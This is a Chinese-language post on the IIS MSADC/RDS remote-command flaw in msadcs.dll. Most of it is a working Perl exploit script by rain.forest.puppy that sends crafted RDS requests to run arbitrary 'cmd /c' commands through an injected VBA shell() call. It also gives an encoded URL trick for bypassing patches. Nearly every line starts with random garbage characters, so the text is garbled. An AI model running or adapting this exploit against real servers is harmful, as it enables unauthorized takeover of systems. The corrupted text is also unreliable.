IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ai/VbV'| |%6zhkoufM 涉及程序:
6uWzv~!*D Microsoft NT server
-8F~Tffx G4Y]fzC 描述:
n[2[V*| mI 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
**jD&h7$s- G(piq4D 详细:
C`|'+ 如果你没有时间读详细内容的话,就删除:
9p,<<5{ c:\Program Files\Common Files\System\Msadc\msadcs.dll
DkO>?n:-C 有关的安全问题就没有了。
|BysSJ _SS6@`X 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
/mST<{(_G\ ?cQ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
23a&m04Rk 关于利用ODBC远程漏洞的描述,请参看:
E&G_7-> ^s'ozCk 0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm E3N4(V\* {ZK"K+;h 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
9H I9([Cs http://www.microsoft.com/security/bulletins/MS99-025faq.asp a8fLj BS }uv3 这里不再论述。
?&Y3Fr)% aO@zeKg 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
|0Kj0u8T
G
$u:1& /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
n*\AB=|X 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
qcxq-HS2' N"~P` H![x MmOGt!}9A #将下面这段保存为txt文件,然后: "perl -x 文件名"
D_E^%Ea&` p-U'5<n #!perl
Gq5)>'D? #
|L{<=NNs:D # MSADC/RDS 'usage' (aka exploit) script
i,/|H]Mzr #
D]+tr% # by rain.forest.puppy
-0| '{ #
wL 5p0Xl # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Yyl2J#$! # beta test and find errors!
x9PEYhL? r ]1|I6:&) use Socket; use Getopt::Std;
"42u0rH0J getopts("e:vd:h:XR", \%args);
/Ny/%[cu 2S^xqvh print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6USet`# n?@o:c5,r if (!defined $args{h} && !defined $args{R}) {
.a:Oj3=0 print qq~
k}-%NkQ
9O Usage: msadc.pl -h <host> { -d <delay> -X -v }
K)GC&%_$O -h <host> = host you want to scan (ip or domain)
e*vSGT$KgL -d <seconds> = delay between calls, default 1 second
yoV"?W>! -X = dump Index Server path table, if available
NVFAmX.Z: -v = verbose
<2y~7h: -e = external dictionary file for step 5
D8W:mAGEu V&KH{j/P Or a -R will resume a command session
-'k<2 "z ?MeP<5\A ~; exit;}
C%#C|X193 zEY
Ey1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Uk ?V7?& if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
CT4R/wzY7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
sr#,S(p if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#eE:hiu<v $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
r3Z-mJ$: if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
wlKpHd* k`
(_~/# if (!defined $args{R}){ $ret = &has_msadc;
~"EkX die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
x#dJH9NR[ I+O!<SB print "Please type the NT commandline you want to run (cmd /c assumed):\n"
7"4|`y^# . "cmd /c ";
UDyvTfh1X $in=<STDIN>; chomp $in;
@oYq.baHX $command="cmd /c " . $in ;
:'GTCo$3 ]2zx}D4f if (defined $args{R}) {&load; exit;}
!9iVe7V BY,%+>bc) print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
k1-?2kf"{ &try_btcustmr;
mMT7`r;l &;9<a^td print "\nStep 2: Trying to make our own DSN...";
ZWf{!L,@Z &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Mw'd<{ f<|8NQ2y. print "\nStep 3: Trying known DSNs...";
*N'B(j/ &known_dsn;
IRo[|&c 0?,EteR print "\nStep 4: Trying known .mdbs...";
J+DuQ;k; &known_mdb;
"
I`YJEv G=Ka{J if (defined $args{e}){
1ygu>sKS&A print "\nStep 5: Trying dictionary of DSN names...";
WHAEB1c#Q &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
S2jo@bp! x6Z$lhZ print "Sorry Charley...maybe next time?\n";
]iLfe&f exit;
Iobo5B @gX@mT" ##############################################################################
wK#UFOp 8n~@Rj5 sub sendraw { # ripped and modded from whisker
zKV{JUpG sleep($delay); # it's a DoS on the server! At least on mine...
5Y9 j/wA my ($pstr)=@_;
:X`J1E]Rjd socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
62vz 'b die("Socket problems\n");
sMO3eNLn if(connect(S,pack "SnA4x8",2,80,$target)){
\UB<'~z6! select(S); $|=1;
XyhOd$) print $pstr; my @in=<S>;
B)^]V<l(w select(STDOUT); close(S);
$ a5K return @in;
&5d>jEaB} } else { die("Can't connect...\n"); }}
H`@x5RjS "t_] Qu6 ##############################################################################
h r6f}2 toIljca sub make_header { # make the HTTP request
Ii|<:BW my $msadc=<<EOT
uF(-h~ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
pM
VeUK? User-Agent: ACTIVEDATA
;y k@`< Host: $ip
TR)'I Content-Length: $clen
QG9 2^ Connection: Keep-Alive
@~gz-l^$ C5sV-UMR ADCClientVersion:01.06
tO~H/0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
R!$j_H _TX.}167;- --!ADM!ROX!YOUR!WORLD!
/Zv }u Content-Type: application/x-varg
VCc4nn# Content-Length: $reqlen
U}Hmzb M>I}^Zp! EOT
+%gh? ; $msadc=~s/\n/\r\n/g;
>)S
a#w; return $msadc;}
]Uxx_1$, 23+GX&Rp ##############################################################################
.+[[m$J ]m}>/2oSs sub make_req { # make the RDS request
;UPw;' my ($switch, $p1, $p2)=@_;
_&w!JzpXT my $req=""; my $t1, $t2, $query, $dsn;
OB$A"XGAEV tU)+q?Mw if ($switch==1){ # this is the btcustmr.mdb query
{n1o)MZ]R $query="Select * from Customers where City=" . make_shell();
'mmyzsQ\6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
o-)E_X $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
*jW$AH +Tu:zCv. elsif ($switch==2){ # this is general make table query
-@#AQ\ $query="create table AZZ (B int, C varchar(10))";
{h@R\bU $dsn="$p1";}
Q6vkqu5!= ruE.0V I@ elsif ($switch==3){ # this is general exploit table query
)O7 Mfr $query="select * from AZZ where C=" . make_shell();
y5R6/*;N. $dsn="$p1";}
hUlFP ^Y'>3o21f elsif ($switch==4){ # attempt to hork file info from index server
((?^B
$query="select path from scope()";
6s|C:1](b $dsn="Provider=MSIDXS;";}
O9>/WmLe CF>NyY:_ elsif ($switch==5){ # bad query
H-UMsT=g] $query="select";
(iS94}-) $dsn="$p1";}
z-,U(0 . %gf8'Q $t1= make_unicode($query);
D@j `'&G $t2= make_unicode($dsn);
`,7BU??+u $req = "\x02\x00\x03\x00";
+F0M?, $req.= "\x08\x00" . pack ("S1", length($t1));
8H{@0_M $req.= "\x00\x00" . $t1 ;
m$O@+;>l $req.= "\x08\x00" . pack ("S1", length($t2));
.+M4Pi $req.= "\x00\x00" . $t2 ;
u(REEc~nj $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
+*|E%pq return $req;}
?SQT;C3j( v=X\@27= ? ##############################################################################
oHa6fi lv8tS - sub make_shell { # this makes the shell() statement
8\ :T*u3 return "'|shell(\"$command\")|'";}
"kN5AeRg Y}Qu-fm ##############################################################################
}S42.f.p XE>XzsnC sub make_unicode { # quick little function to convert to unicode
+$<m ;@mZ my ($in)=@_; my $out;
*?i~AXJm for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
h"<rW7z return $out;}
*np%67=jO 12rr:(#%s ##############################################################################
lFRgyEPH w\\ sub rdo_success { # checks for RDO return success (this is kludge)
8taaBM`: my (@in) = @_; my $base=content_start(@in);
5$O@+W!?@ if($in[$base]=~/multipart\/mixed/){
I/'jRM return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5B@&]-'~ return 0;}
A>'o5+ &Wn!W ##############################################################################
@h$7C< ;,IGO7R sub make_dsn { # this makes a DSN for us
o!j? )0d my @drives=("c","d","e","f");
HF0J>Clq print "\nMaking DSN: ";
cZHlW|$R foreach $drive (@drives) {
7,
O_'T & print "$drive: ";
]C'r4Ch^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
0gnr@9,X "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?N`W, . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]i{-@Ven $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[z Y9"B<3 return 0 if $2 eq "404"; # not found/doesn't exist
Y%Saz+ if($2 eq "200") {
3:76x foreach $line (@results) {
ThFI=K return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
:MJTmpq, } return 0;}
t/nu/yz5E /dtFB5Z"w ##############################################################################
7@06x+! 'Z;R!@Dm sub verify_exists {
8vchLl# my ($page)=@_;
*78TT\q< my @results=sendraw("GET $page HTTP/1.0\n\n");
)2:d8J\ return $results[0];}
WJ/&Ag1 MF>?! ! ##############################################################################
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